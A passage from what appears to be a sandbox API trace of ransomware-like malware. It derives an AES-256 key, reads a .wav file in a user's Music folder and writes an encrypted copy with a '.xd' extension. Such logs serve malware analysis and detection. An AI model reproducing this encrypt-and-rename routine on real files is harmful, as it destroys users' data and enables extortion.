cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621900, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.673] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.673] CryptDeriveKey (in: hProv=0x17abc38, Algid=0x6610, hBaseData=0x164c870, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6b0) returned 1 [0063.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.673] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.673] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.674] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.674] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.674] CryptDestroyHash (hHash=0x164c870) returned 1 [0063.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.674] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.674] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.674] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.674] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.674] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\nclphp6dkljubz.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.674] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.674] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.675] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.675] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.675] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.675] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht")) returned 0x10 [0063.675] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\nclphp6dkljubz.wav.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.676] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.676] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.676] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.676] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.752] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.752] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xadeb, lpOverlapped=0x0) returned 1 [0063.754] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.757] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.757] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.757] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.757] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.758] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.758] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.758] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.758] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.758] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.758] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.758] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.759] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.759] CryptGetKeyParam (in: hKey=0x164c6b0, dwParam=0x7, pbData=0x16295f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16295f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.759] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.759] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.759] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.759] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.759] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.759] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.760] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.760] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.760] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.761] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.761] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xadeb, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xadf0) returned 1 [0063.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.761] CharLowerBuffW (in: lpsz="byte[44529]", cchLength=0xb | out: lpsz="byte[44529]") returned 0xb [0063.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.763] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.763] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.763] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.763] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.763] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.763] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1892c00*, pdwDataLen=0x130e618*=0xadeb, dwBufLen=0xadf0 | out: pbData=0x1892c00*, pdwDataLen=0x130e618*=0xadf0) returned 1 [0063.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.765] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.765] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.765] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.765] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.765] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.765] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.765] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.765] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.765] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.766] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.770] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0xadf0, lpOverlapped=0x0) returned 1 [0063.772] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.772] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.772] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.772] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.772] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.772] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.772] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.772] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.773] CryptDestroyKey (hKey=0x164c6b0) returned 1 [0063.773] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.773] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.773] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.773] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.773] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.773] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.773] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.773] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.773] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.773] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.773] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.773] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.773] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.773] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.773] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.774] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 